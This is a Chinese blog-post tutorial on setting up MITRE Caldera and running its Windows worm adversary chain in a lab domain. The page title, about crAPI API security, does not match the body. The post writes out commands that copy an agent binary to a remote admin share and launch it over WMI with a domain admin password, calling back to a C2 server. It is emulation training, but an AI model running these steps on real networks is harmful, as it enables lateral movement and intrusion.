前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >API安全Top 10 漏洞:crAPI漏洞靶场与解题思路

API安全Top 10 漏洞:crAPI漏洞靶场与解题思路

作者头像
FB客服
发布2023-03-29 15:45:28
6420
发布2023-03-29 15:45:28
举报
文章被收录于专栏:FreeBufFreeBuf

 关于Caldera 

又名“火山口”,是一款攻防自动化对抗框架。就不多介绍了,网上有很多介绍的文章,接下来从安装开始。

 Caldera安装 

包含一些我踩过的坑以及注意事项。注意:不支持windows。

官方github地址:https://github.com/mitre/caldera

需要golang环境和python环境。python版本尽量3.7,高版本容易报错。

语言环境弄好之后,按照其说明进行安装:

代码语言:javascript
复制
git clone https://github.com/mitre/caldera.git --recursivecd calderapip3 install -r requirements.txtpython3 server.py --insecure(向右滑动、查看更多)

注意:这里的--recursive一定不能丢,意思是递归下载,会下载重要的插件,否则到时候会报错。

最后一条命令python3 server.py --insecure

不加后面的参数也行。还有一点要注意,下载完之后,可能有一些文件会被杀软干掉,如果有这种情况,注意把他们复原。

开始安装:

还要安装upx,官方地址:

代码语言:javascript
复制
https://upx.github.io/

很简单,直接解压再加进环境变量即可。

 启动登录 

首次启动可能会失败,直接卡在插件那里,等几分钟再重启就ok了 (原因不明),启动之后 访问localhost:8888成功说明成功启动。

在成功启动后,会在conf/下生成一个local/yml文件,是配置文件。里面的内容基本 不用动,拉到最下面有一个 users 的选项,里面有bluered两个用户,后面是密码,修改即可。

再回到localhost:8888或者ip:8888,这里默认绑定0.0.0.0,使用red用户登录。

 功能介绍 

登录进来之后,看左边导航:

1.Agent

类似CS的Agent机器上线步骤:

1.点击Deploy an agent。

这里我们选择Sandcat即默认agent。

2.选择操作系统,即要上线机器的操作系统,点击不同的操作系统,会给出不同的payload,然后在目标机器上执行即可上线。

需要更改的地方只有这个app.contact.http这里的ip,把它改为启动caldera机器的IP即可。

上线命令也给出了很多,我们都选第一个即可,即红队默认agent。

最后到需要上线的机器执行命令,回到导航,点击agent,可以看到上线机器。

2.Abilities

指的是在可以在agent上执行的操作,每一个ability都是TTP上的一个步骤。

可以进行搜索筛选,点击可以查看、编辑某一个ability。

3.Adversaries

选择TTPs链,caldera提供了一些TTPs来供我们学习研究。

当然,也可以自定义。

4.Operation

点击 create operation,选择一个adversary即可。

其余选项不用动,点击start则会在已上线的机器上执行Adversary。

5.插件

这里先不涉及到。

 windows worm#1 

这里我们拿windows蠕虫来实操一下。

执行顺序

点击Adversaries,选择windows worm#1,看一下这个TTPs是怎么运行的。

可以看到很多abilities,等下使用operation运行的时候则会自动按照这个顺序运行,后面会详细说到每一个步骤。

环境

根据其TTPs链,搭建相应的环境

  • win2012(已上线) 172.29.2.215
  • win2016(AD) 172.29.3.66

域:worm.lab

域管账号密码:

  • administrator
  • zxcasdqwe123!@#

win2012本地管理员账户密码:

  • administrator
  • zxcasdqwe123!@#

上线机器

我这里要上线win2012,点击导航栏agent,再点击Deploy an agent。

再按照前面说的,选择sandcat agent再选择平台,改ip再复制payload。

到win2012上powershell执行复制的payload,成功上线。

开始执行

接下来就是operation,真正运行了,点击create operation,名字随意起,选择windows worm#1,点击start就开始了。

接下来我会详细说每一个步骤的过程,及踩到的坑。

1.collect ARP details

很简单,直接用命令arp -a进行信息收集,保存ip信息

保存所有IP,为下一步做准备。

这里有个干扰,如果多台机器上线,都会执行此操作,但是它只取一台机器的结果,关掉无关机器即可,还有一个编码问题,导致无法解析结果。我直接把系统语言换成英文即可。

2.Reverse nslookup IP

可以看到它是根据上一步收集到的IP一个一个进行DNS记录查询,使用的是nslookup命令。

这里有个问题,发现所有结果都是unknow,我到机器上执行也一样。如果结果全是unknow,导致下一步无法执行。

解决方法:它的目的应该是想通过IP找到域名,那么我到AD上进行配置PTR记录即可。

现在可以成功解析:

此处保存了fqdn,即输出结果的Server

3.View remote shares

查看远程共享,使用了net view命令,使用了上一部保存的fqdn,执行的命令:

代码语言:javascript
复制
net view \\win2016.worm.lab /all

使用net view命令时,如果是本地账户,会自动使用当前缓存的密码进行NTLM认证,域内账户则会使用Kerberos认证。这些是new view命令内部做的事情,不做深入探究,这一步骤会保存fqdn,后面会用到。

4.Copy 54ndc47 (SMB)

给出的命令:

代码语言:javascript
复制
$path = "sandcat.go-windows";$drive = "\\#{remote.host.fqdn}\C$";Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";(向右滑动、查看更多)

这一步首先把sandcat.go-windows木马文件上传到已上线机器,再尝试复制木马文件到远程共享目录(fqdn,上一步保存的结果),会使用自身缓存的密码和Administrator进行连接。所以只有密码相同的机器才能成功,为了实验成功,我们两台机器的密码设为一样。

最终执行的命令:

代码语言:javascript
复制
$path = "sandcat.go-windows";$drive = "\\win2016.worm.lab\C$";Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";

(向右滑动、查看更多)

前提条件:

  • 知道fqdn即可 (即上一步的保存结果)
  • 开启了SMB服务(默认开启)

5.Start 54ndc47 (WMI)

这一步执行上传的文件,第四步之后就卡住了,只能手动添加这一步。(因该是参数不够的原因)

首先到Adversaries界面查看第五步骤的名字,并复制。

再回到operation界面右下角,有一个Potential Link按钮,点击它。

**注意:**这里如果有弹出红色框框报错,直接重启caldera就好

先选择Excutor,选择PS(即Powershell),再到搜索框输入刚刚复制的Abilitity 名字,并找到相应结果。

框框里面就是接下来需要执行的命令,#{...}格式的是变量,这一步我们只需要修改前面三个变量,其余的会自动补充。

这里第一个变量,我们也可以点击上面的 remote.host.fqdn选择一个,我们就不用手动修改这个变量了。

给出的原始命令:

代码语言:javascript
复制
$node = '''#{remote.host.fqdn}''';$user = '''#{domain.user.name}''';$password = '''#{domain.user.password}''';wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";(向右滑动、查看更多)

前提条件:需要 FQDN、用户名、密码

  • FQDN:win2016.worm.lab
  • 用户名:administrator
  • 密码:zxcasdqwe123!@#

其余的变量会自动填充

最终执行的命令:

代码语言:javascript
复制
$node = '''win2016.worm.lab''';$user = '''administrator''';$password = '''zxcasdqwe123!@#''';wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server http://172.29.2.129:8888 -group red";(向右滑动、查看更多)

成功上线另一台机器:

6.collect ARP details

再到已经上线了的机器上执行arp -a 命令。

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于Caldera 
  •  Caldera安装 
  •  启动登录 
  •  功能介绍 
    • 1.Agent
      • 2.Abilities
        • 3.Adversaries
          • 4.Operation
            • 5.插件
            •  windows worm#1 
              • 执行顺序
                • 点击Adversaries,选择windows worm#1,看一下这个TTPs是怎么运行的。
                  • 环境
                    • 根据其TTPs链,搭建相应的环境
                      • 上线机器
                        • 开始执行
                          • 1.collect ARP details
                            • 2.Reverse nslookup IP
                              • 3.View remote shares
                                • 4.Copy 54ndc47 (SMB)
                                  • 5.Start 54ndc47 (WMI)
                                    • 6.collect ARP details
                                    领券
                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档